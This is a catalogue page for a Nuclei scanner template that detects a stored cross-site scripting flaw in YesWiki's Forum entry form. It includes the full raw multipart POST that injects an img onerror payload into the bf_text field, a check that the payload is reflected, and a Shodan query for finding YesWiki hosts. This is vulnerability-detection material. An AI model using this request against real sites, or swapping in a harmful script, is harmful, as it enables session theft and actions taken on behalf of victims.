yeswiki-stored-xss: YesWiki - Stored Cross-Site Scripting
- Template: yeswiki-stored-xss
- Name: YesWiki - Stored Cross-Site Scripting
- Description: YesWiki contains a stored contains a cross-site scripting vulnerability via the bf_text field when adding a new entry for Forum.
- Severity: high
- Authors: arafatansari
- Tags: yeswiki, xss, stored-xss, huntr, intrusive, vuln
- References: https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
- Verified: yes
- Max requests: 2
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/yeswiki-stored-xss.yaml
- Digest: 4b0a00483046022100d5eeda1b8a922318976de1e085e89e1299bb553b3fdf02050ee404b81a55ba62022100f8188b9b2344e52f7cae49bd3691847aacdc852dd61223172c196ae55ab4bc83
- Created at: 2022-08-09T18:38:41Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1569
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/yeswiki-stored-xss.yaml
- Checked, none or zero: cves
- Not known: impact, remediation
Classification
- Cwe: CWE-79
- Cvss score: 7.2
- Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
- Cpe: cpe:2.3:a:yeswiki:cercopitheque:*:*:*:*:*:*:*:*
- Not known: epss score, epss percentile
Metadata
- Max-request: 2
- Product: cercopitheque
- Shodan-query: http.html:"yeswiki"
- Vendor: yeswiki
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| yeswiki:cercopitheque | yes | /v1/products/yeswiki/cercopitheque |
Labels
- Name: YesWiki - Stored Cross-Site Scripting
- Impact: Attackers can execute arbitrary JavaScript in the browsers of users viewing the Forum, potentially stealing session cookies or performing actions on behalf of victims.
- Remediation: Update to the latest version of YesWiki.
- Vulnerability type: stored_xss
- Vulnerability impact: client_script_exec
- Requirement type: logged_in
- Requirements: Attacker needs to be logged in to submit a Forum entry
- Labels source: securitycontext
- Not known: from cve
```yaml
id: yeswiki-stored-xss
info:
name: YesWiki - Stored Cross-Site Scripting
author: arafatansari
severity: high
description: |
YesWiki contains a stored contains a cross-site scripting vulnerability via the bf_text field when adding a new entry for Forum.
reference:
- https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
cpe: cpe:2.3:a:yeswiki:cercopitheque:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
shodan-query: http.html:"yeswiki"
product: cercopitheque
vendor: yeswiki
tags: yeswiki,xss,stored-xss,huntr,intrusive,vuln
http:
- raw:
- |
POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_titre"
blog
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_text"
"><img src=x onerror=console.log(123);>
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="bf_description"
abcd
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="fichierbf_file"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="antispam"
1
------WebKitFormBoundaryT8dS2PT0WtxACLyu
Content-Disposition: form-data; name="id_typeannonce"
2
------WebKitFormBoundaryT8dS2PT0WtxACLyu--
- |
GET /?BazaR&vue=consulter HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(header_2, 'text/html') && contains(header_2, 'YesWiki')"
- "status_code_2 == 200"
- contains(body_2, '><img src=x onerror=console.log(123);>')
condition: and
digest: 4b0a00483046022100d5eeda1b8a922318976de1e085e89e1299bb553b3fdf02050ee404b81a55ba62022100f8188b9b2344e52f7cae49bd3691847aacdc852dd61223172c196ae55ab4bc83:922c64590222798bb761d5b6d8e72950
```